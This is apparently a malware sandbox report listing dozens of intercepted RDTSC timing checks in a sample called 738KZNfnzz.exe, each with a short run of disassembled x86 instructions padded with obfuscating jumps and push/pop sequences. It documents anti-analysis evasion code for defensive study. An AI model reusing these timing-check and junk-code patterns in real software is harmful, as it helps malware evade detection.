Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: DD2F10 second address: DD2F4D instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F7025350AB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d jmp 00007F7025350AC3h 0x00000012 nop 0x00000013 add edx, dword ptr [ebp+12465013h] 0x00000019 push 00000004h 0x0000001b mov edx, dword ptr [ebp+122D2444h] 0x00000021 call 00007F7025350AB9h 0x00000026 push ebx 0x00000027 push eax 0x00000028 push edx 0x00000029 pushad 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: DD2F4D second address: DD2F80 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F7024DCF516h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop ebx 0x0000000b push eax 0x0000000c jne 00007F7024DCF52Eh 0x00000012 mov eax, dword ptr [esp+04h] 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: DD2F80 second address: DD2F85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: DD2F85 second address: DD2F99 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F7024DCF518h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov eax, dword ptr [eax] 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: DD2F99 second address: DD2F9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: DD2F9D second address: DD2FA3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: DD3198 second address: DD319C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: DD319C second address: DD31A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: DD31A0 second address: DD3219 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 nop 0x00000008 push 00000000h 0x0000000a push ebp 0x0000000b call 00007F7025350AB8h 0x00000010 pop ebp 0x00000011 mov dword ptr [esp+04h], ebp 0x00000015 add dword ptr [esp+04h], 00000018h 0x0000001d inc ebp 0x0000001e push ebp 0x0000001f ret 0x00000020 pop ebp 0x00000021 ret 0x00000022 pushad 0x00000023 adc ah, 00000017h 0x00000026 popad 0x00000027 push dword ptr [ebp+12453F5Eh] 0x0000002d push 00000000h 0x0000002f push edi 0x00000030 call 00007F7025350AB8h 0x00000035 pop edi 0x00000036 mov dword ptr [esp+04h], edi 0x0000003a add dword ptr [esp+04h], 0000001Ch 0x00000042 inc edi 0x00000043 push edi 0x00000044 ret 0x00000045 pop edi 0x00000046 ret 0x00000047 jmp 00007F7025350AC3h 0x0000004c call 00007F7025350AB9h 0x00000051 push ecx 0x00000052 pushad 0x00000053 push ebx 0x00000054 pop ebx 0x00000055 push eax 0x00000056 push edx 0x00000057 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: DD3219 second address: DD3270 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push esi 0x00000008 pushad 0x00000009 jp 00007F7024DCF516h 0x0000000f jmp 00007F7024DCF525h 0x00000014 popad 0x00000015 pop esi 0x00000016 mov eax, dword ptr [esp+04h] 0x0000001a jmp 00007F7024DCF51Ah 0x0000001f mov eax, dword ptr [eax] 0x00000021 push edx 0x00000022 pushad 0x00000023 jmp 00007F7024DCF522h 0x00000028 pushad 0x00000029 popad 0x0000002a popad 0x0000002b pop edx 0x0000002c mov dword ptr [esp+04h], eax 0x00000030 pushad 0x00000031 push eax 0x00000032 push edx 0x00000033 push eax 0x00000034 push edx 0x00000035 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: DD3270 second address: DD3274 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: DD469D second address: DD46B6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7024DCF524h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: DD46B6 second address: DD46D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F7025350ABBh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 push ebx 0x00000011 pop ebx 0x00000012 popad 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CED41A second address: CED42F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7024DCF521h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CED42F second address: CED43C instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edi 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CED758 second address: CED75C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: CED75C second address: CED762 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 4A903AB second address: 4A9044E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7024DCF529h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F7024DCF527h 0x00000011 and ah, FFFFFFFEh 0x00000014 jmp 00007F7024DCF529h 0x00000019 popfd 0x0000001a call 00007F7024DCF520h 0x0000001f call 00007F7024DCF522h 0x00000024 pop eax 0x00000025 pop edi 0x00000026 popad 0x00000027 xchg eax, ebp 0x00000028 jmp 00007F7024DCF51Eh 0x0000002d mov ebp, esp 0x0000002f push eax 0x00000030 push edx 0x00000031 jmp 00007F7024DCF527h 0x00000036 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 4A9048D second address: 4A904A8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7025350AC7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 4AB062F second address: 4AB0636 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 4AB0636 second address: 4AB063C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 4AB063C second address: 4AB0640 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 4AB0640 second address: 4AB06F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007F7025350AC2h 0x00000010 xor ch, 00000008h 0x00000013 jmp 00007F7025350ABBh 0x00000018 popfd 0x00000019 push eax 0x0000001a jmp 00007F7025350ABFh 0x0000001f pop esi 0x00000020 popad 0x00000021 mov dword ptr [esp], ebp 0x00000024 jmp 00007F7025350ABFh 0x00000029 mov ebp, esp 0x0000002b jmp 00007F7025350AC6h 0x00000030 xchg eax, ecx 0x00000031 pushad 0x00000032 mov eax, 4618EB9Dh 0x00000037 popad 0x00000038 push eax 0x00000039 jmp 00007F7025350AC6h 0x0000003e xchg eax, ecx 0x0000003f pushad 0x00000040 pushfd 0x00000041 jmp 00007F7025350ABEh 0x00000046 add si, 8F58h 0x0000004b jmp 00007F7025350ABBh 0x00000050 popfd 0x00000051 mov bh, ah 0x00000053 popad 0x00000054 push esi 0x00000055 push eax 0x00000056 push edx 0x00000057 push eax 0x00000058 push edx 0x00000059 pushad 0x0000005a popad 0x0000005b rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 4AB06F3 second address: 4AB0710 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7024DCF529h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 4AB0710 second address: 4AB0767 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7025350AC1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], esi 0x0000000c jmp 00007F7025350ABEh 0x00000011 lea eax, dword ptr [ebp-04h] 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 pushfd 0x00000018 jmp 00007F7025350AC8h 0x0000001d or ax, B5A8h 0x00000022 jmp 00007F7025350ABBh 0x00000027 popfd 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 4AB0767 second address: 4AB0790 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, bx 0x00000006 mov di, F716h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F7024DCF529h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 4AB0790 second address: 4AB086D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F7025350AC7h 0x00000009 add al, FFFFFFFEh 0x0000000c jmp 00007F7025350AC9h 0x00000011 popfd 0x00000012 pushfd 0x00000013 jmp 00007F7025350AC0h 0x00000018 adc ecx, 137A47F8h 0x0000001e jmp 00007F7025350ABBh 0x00000023 popfd 0x00000024 popad 0x00000025 pop edx 0x00000026 pop eax 0x00000027 mov dword ptr [esp], eax 0x0000002a pushad 0x0000002b pushad 0x0000002c mov cx, 2441h 0x00000030 pushfd 0x00000031 jmp 00007F7025350ABEh 0x00000036 sub ecx, 58F92258h 0x0000003c jmp 00007F7025350ABBh 0x00000041 popfd 0x00000042 popad 0x00000043 jmp 00007F7025350AC8h 0x00000048 popad 0x00000049 push dword ptr [ebp+08h] 0x0000004c push eax 0x0000004d push edx 0x0000004e pushad 0x0000004f mov eax, edi 0x00000051 pushfd 0x00000052 jmp 00007F7025350AC9h 0x00000057 and eax, 69534F56h 0x0000005d jmp 00007F7025350AC1h 0x00000062 popfd 0x00000063 popad 0x00000064 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 4AB086D second address: 4AB087D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7024DCF51Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 4AB087D second address: 4AB0881 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 4AB0901 second address: 4AB0911 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7024DCF51Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 4AB0911 second address: 4AB0927 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov esi, eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F7025350ABAh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 4AB0992 second address: 4AB0996 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 4AB0996 second address: 4AB099C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 4AB099C second address: 4AB09AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7024DCF51Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 4AB09AB second address: 4AB09AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 4AB09AF second address: 4AA0207 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 leave 0x00000009 pushad 0x0000000a mov si, bx 0x0000000d pushfd 0x0000000e jmp 00007F7024DCF527h 0x00000013 add eax, 5F11CB8Eh 0x00000019 jmp 00007F7024DCF529h 0x0000001e popfd 0x0000001f popad 0x00000020 retn 0004h 0x00000023 nop 0x00000024 sub esp, 04h 0x00000027 xor ebx, ebx 0x00000029 cmp eax, 00000000h 0x0000002c je 00007F7024DCF67Ah 0x00000032 mov dword ptr [esp], 0000000Dh 0x00000039 call 00007F7028D5B883h 0x0000003e mov edi, edi 0x00000040 push eax 0x00000041 push edx 0x00000042 pushad 0x00000043 pushfd 0x00000044 jmp 00007F7024DCF51Bh 0x00000049 or ecx, 2CF6B89Eh 0x0000004f jmp 00007F7024DCF529h 0x00000054 popfd 0x00000055 movzx ecx, di 0x00000058 popad 0x00000059 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 4AA0207 second address: 4AA027A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F7025350AC8h 0x00000008 mov ch, 9Ah 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push esi 0x0000000e pushad 0x0000000f pushad 0x00000010 mov cl, 81h 0x00000012 mov bh, 50h 0x00000014 popad 0x00000015 mov di, cx 0x00000018 popad 0x00000019 mov dword ptr [esp], ebp 0x0000001c jmp 00007F7025350AC6h 0x00000021 mov ebp, esp 0x00000023 jmp 00007F7025350AC0h 0x00000028 sub esp, 2Ch 0x0000002b pushad 0x0000002c jmp 00007F7025350ABEh 0x00000031 mov ebx, esi 0x00000033 popad 0x00000034 xchg eax, ebx 0x00000035 push eax 0x00000036 push edx 0x00000037 push eax 0x00000038 push edx 0x00000039 push eax 0x0000003a push edx 0x0000003b rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 4AA027A second address: 4AA027E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 4AA027E second address: 4AA0284 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 4AA0284 second address: 4AA02D5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7024DCF520h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F7024DCF51Bh 0x0000000f xchg eax, ebx 0x00000010 jmp 00007F7024DCF526h 0x00000015 xchg eax, edi 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F7024DCF527h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 4AA02D5 second address: 4AA0301 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7025350AC9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F7025350ABCh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 4AA0301 second address: 4AA0307 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 4AA0307 second address: 4AA030B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 4AA03DF second address: 4AA03EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7024DCF51Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 4AA03EF second address: 4AA0411 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov edi, 00000000h 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F7025350AC3h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 4AA0411 second address: 4AA0494 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7024DCF529h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 inc ebx 0x0000000a jmp 00007F7024DCF51Eh 0x0000000f test al, al 0x00000011 pushad 0x00000012 mov al, 52h 0x00000014 pushfd 0x00000015 jmp 00007F7024DCF523h 0x0000001a add al, FFFFFFFEh 0x0000001d jmp 00007F7024DCF529h 0x00000022 popfd 0x00000023 popad 0x00000024 je 00007F7024DCF69Ch 0x0000002a push eax 0x0000002b push edx 0x0000002c pushad 0x0000002d call 00007F7024DCF523h 0x00000032 pop eax 0x00000033 mov ecx, edi 0x00000035 popad 0x00000036 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 4AA0494 second address: 4AA049A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 4AA049A second address: 4AA049E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 4AA050D second address: 4AA0513 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 4AA0513 second address: 4AA0536 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7024DCF51Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F7024DCF51Dh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 4AA05B9 second address: 4AA05EB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7025350AC9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007F709720E97Bh 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F7025350ABDh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 4AA05EB second address: 4AA0675 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7024DCF521h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebx, dword ptr [ebp+08h] 0x0000000c jmp 00007F7024DCF51Eh 0x00000011 lea eax, dword ptr [ebp-2Ch] 0x00000014 jmp 00007F7024DCF520h 0x00000019 xchg eax, esi 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d pushfd 0x0000001e jmp 00007F7024DCF51Dh 0x00000023 xor cx, 3556h 0x00000028 jmp 00007F7024DCF521h 0x0000002d popfd 0x0000002e pushfd 0x0000002f jmp 00007F7024DCF520h 0x00000034 jmp 00007F7024DCF525h 0x00000039 popfd 0x0000003a popad 0x0000003b rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 4AA0675 second address: 4AA0740 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F7025350AC7h 0x00000008 pop eax 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007F7025350ABBh 0x00000014 jmp 00007F7025350AC3h 0x00000019 popfd 0x0000001a mov si, F26Fh 0x0000001e popad 0x0000001f xchg eax, esi 0x00000020 pushad 0x00000021 mov ah, C0h 0x00000023 pushfd 0x00000024 jmp 00007F7025350ABDh 0x00000029 add al, FFFFFFD6h 0x0000002c jmp 00007F7025350AC1h 0x00000031 popfd 0x00000032 popad 0x00000033 nop 0x00000034 jmp 00007F7025350ABEh 0x00000039 push eax 0x0000003a pushad 0x0000003b jmp 00007F7025350AC1h 0x00000040 pushfd 0x00000041 jmp 00007F7025350AC0h 0x00000046 sbb ecx, 46C2AB58h 0x0000004c jmp 00007F7025350ABBh 0x00000051 popfd 0x00000052 popad 0x00000053 nop 0x00000054 push eax 0x00000055 push edx 0x00000056 jmp 00007F7025350AC5h 0x0000005b rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 4AA0740 second address: 4AA0765 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7024DCF521h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F7024DCF51Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 4AA0765 second address: 4AA07BF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F7025350AC7h 0x00000009 sub cx, 14DEh 0x0000000e jmp 00007F7025350AC9h 0x00000013 popfd 0x00000014 push eax 0x00000015 pop edx 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 push eax 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F7025350AC8h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 4AA00B8 second address: 4AA00D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F7024DCF524h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 4AA00D0 second address: 4AA00F9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7025350ABBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F7025350AC5h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 4AA00F9 second address: 4AA014D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7024DCF521h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [ebp-04h], 55534552h 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 pushfd 0x00000014 jmp 00007F7024DCF523h 0x00000019 add cl, 0000006Eh 0x0000001c jmp 00007F7024DCF529h 0x00000021 popfd 0x00000022 mov bx, cx 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 4AA019B second address: 4AA01A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 4AA01A1 second address: 4AA01A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 4AA01A5 second address: 4AA01A9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 4AA01A9 second address: 4AA01C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 leave 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F7024DCF51Eh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 4AA0D0D second address: 4AA0DB0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F7025350AC9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F7025350AC1h 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007F7025350AC7h 0x0000001a and ah, 0000007Eh 0x0000001d jmp 00007F7025350AC9h 0x00000022 popfd 0x00000023 mov eax, 67E940C7h 0x00000028 popad 0x00000029 mov eax, dword ptr [eax] 0x0000002b push eax 0x0000002c push edx 0x0000002d pushad 0x0000002e pushfd 0x0000002f jmp 00007F7025350AC6h 0x00000034 add esi, 41E1F0A8h 0x0000003a jmp 00007F7025350ABBh 0x0000003f popfd 0x00000040 mov eax, 69C8CB9Fh 0x00000045 popad 0x00000046 rdtsc
Source: C:\Users\user\Desktop\738KZNfnzz.exe	RDTSC instruction interceptor: First address: 4AA0DB0 second address: 4AA0E1F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F7024DCF51Bh 0x00000009 and cx, 25EEh 0x0000000e jmp 00007F7024DCF529h 0x00000013 popfd 0x00000014 mov ah, A5h 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 mov dword ptr [esp+04h], eax 0x0000001d jmp 00007F7024DCF51Ah 0x00000022 pop eax 0x00000023 jmp 00007F7024DCF520h 0x00000028 call 00007F7096C84286h 0x0000002d push 76952B70h 0x00000032 push dword ptr fs:[00000000h] 0x00000039 mov eax, dword ptr [esp+10h] 0x0000003d mov dword ptr [esp+10h], ebp 0x00000041 lea ebp, dword ptr [esp+10h] 0x00000045 sub esp, eax 0x00000047 push ebx 0x00000048 push esi 0x00000049 push edi 0x0000004a mov eax, dword ptr [769B4538h] 0x0000004f xor dword ptr [ebp-04h], eax 0x00000052 xor eax, ebp 0x00000054 push eax 0x00000055 mov dword ptr [ebp-18h], esp 0x00000058 push dword ptr [ebp-08h] 0x0000005b mov eax, dword ptr [ebp-04h] 0x0000005e mov dword ptr [ebp-04h], FFFFFFFEh 0x00000065 mov dword ptr [ebp-08h], eax 0x00000068 lea eax, dword ptr [ebp-10h] 0x0000006b mov dword ptr fs:[00000000h], eax 0x00000071 ret 0x00000072 jmp 00007F7024DCF520h 0x00000077 sub esi, esi 0x00000079 push eax 0x0000007a push edx 0x0000007b push eax 0x0000007c push edx 0x0000007d pushad 0x0000007e popad 0x0000007f rdtsc
